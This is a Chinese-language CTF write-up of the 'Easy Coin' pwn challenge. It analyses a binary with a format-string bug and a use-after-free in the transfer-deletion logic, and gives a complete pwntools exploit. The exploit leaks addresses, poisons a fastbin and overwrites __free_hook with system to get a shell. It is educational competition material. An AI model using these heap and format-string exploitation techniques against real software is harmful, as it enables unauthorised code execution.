Easy Coin:UAF
Easy Coin 网鼎杯
0x00 Analysis
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有开PIE 开partial RElro
程序主要有两个菜单: 和几个结构体: 第一层菜单主要是注册,登录,退出 看了一遍感觉没啥大问题 然后再去逆第二层…感觉自己逆向功底太差…逆了半天
switch ( buf )
{
case '1':
display(ptr);
break;
case '2':
send_coin(ptr);
break;
case '3':
transaction(ptr);
break;
case '4':
chpass(ptr);
break;
case '5':
del(ptr); // uaf
inuse = 0;
break;
case '6':
inuse = 0;
break;
default:
printf("[-] Unknown Command: ", &buf);
printf(&buf); // fmtstr
break;
}
主要功能如上 最后偷偷藏了个4bytes的fmtstr 经过测试发现可以泄露stack(off=1),heap(0ff=9),libc(off=3) 然后分析了一圈除了在delet的时候感觉有些不妥:heap内数据未清0其他感觉还是没啥明显的问题的。 于是就做不出来了…看了P4nda师傅的wp才做出来的…
0x01 漏洞挖掘
漏洞点在于 option的free过程中,如果自己对自己转账, 那么自己的option里面有两个id相同的option删除的时候会产生doublefree或者删除可以算计目标的chunk. —-这样看看理解起来比较麻烦,最好动手调一下主要是后24位是0x100的chunk…
0x02 漏洞利用
创建两个用户–> 登录一个–> 通过fmtstr泄露地址—> 先正常交易一次—>(为了之后可以刚好b被free的地址会是用户二的passwd) 删除当前用户—> 创建并登录—> 正常交易,然后给自己转钱—> 删除用户—> 此时能free最后24位为0x100的地址—> 又因为可以通过修改密码操作修改0x100的内容造成了fastbin的fd的污染可以得到某fakechunk(size=30)的写权限
后面可以写一个用户的passwd指针指向freehook然后改成system…
我的脑子想起这个来比较麻烦….需要一步一步调试
0x03 EXP
from pwn import *
def cmd(c):
p.sendlineafter("> ",str(c))
def reg(name,passwd):
cmd(1)
p.sendlineafter("> ",name)
p.sendlineafter("> ",passwd)
p.sendlineafter("> ",passwd)
def login(name,passwd):
cmd(2)
p.sendlineafter("me\n> ",name)
p.sendlineafter("> ",passwd)
def fmt(n):
p.sendafter("> ","%{}$n".format(str(n)))
def sendcoin(name,count):
cmd(2)
p.sendlineafter("> ",name)
p.sendlineafter("> ",str(count))
def remove():
cmd(5)
def cp(pwd):
cmd(4)
p.sendlineafter("> ",pwd)
context.log_level="debug"
passwd="\0"*0x10+"\x02"+7*"\0"
atoi_got=0x603088
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./EasyCoin")
reg("A","A")
reg("/bin/sh",passwd)
login("A","A")
#####################################################################################################
cmd("%p")
p.readuntil("Command: ")
data=p.readline()
stack=int(data[:-1],16)-(0x7fffffffb4e0-0x7ffffffde000)
p.sendafter("> ","%3$p")
p.readuntil("Command: ")
data=p.read(14)
base=int(data,16)-(0x7ffff7b042c0-0x7ffff7a0d000)
p.sendafter("> ","%9$p")
p.readuntil("Command: ")
data=p.read(8)
heap=int(data,16)-(0x10)
log.warning(hex(stack))
log.success(hex(base))
log.info(hex(heap))
#leak over#
sendcoin("/bin/sh",0xdead)
remove()
reg("nier","A")
login("nier","A")
sendcoin("/bin/sh",heap+0x100)
sendcoin("nier",0xdad)
remove()
#start uaf #
libc.address=base
login("/bin/sh",p64(heap+0x30))
sendcoin("/bin/sh",1)
cp(p64(heap+0xa0-0x10))
cmd(6)
payload=p64(heap+0xd0)+p64(libc.symbols['__free_hook'])
cmd(1)
p.sendlineafter("> ","C")
p.sendafter("> ",payload)
p.sendafter("> ",payload)
#gdb.attach(p,'''b *0x4014bb''')
login("/bin/sh","")
cp(p64(libc.symbols['system']))
remove()
p.interactive()
Review
遇到UAF先去想办法利用脏数据而不是先去套fastbinatk或者unsortedbinatk…熟悉题目中的数据结构和功能的流程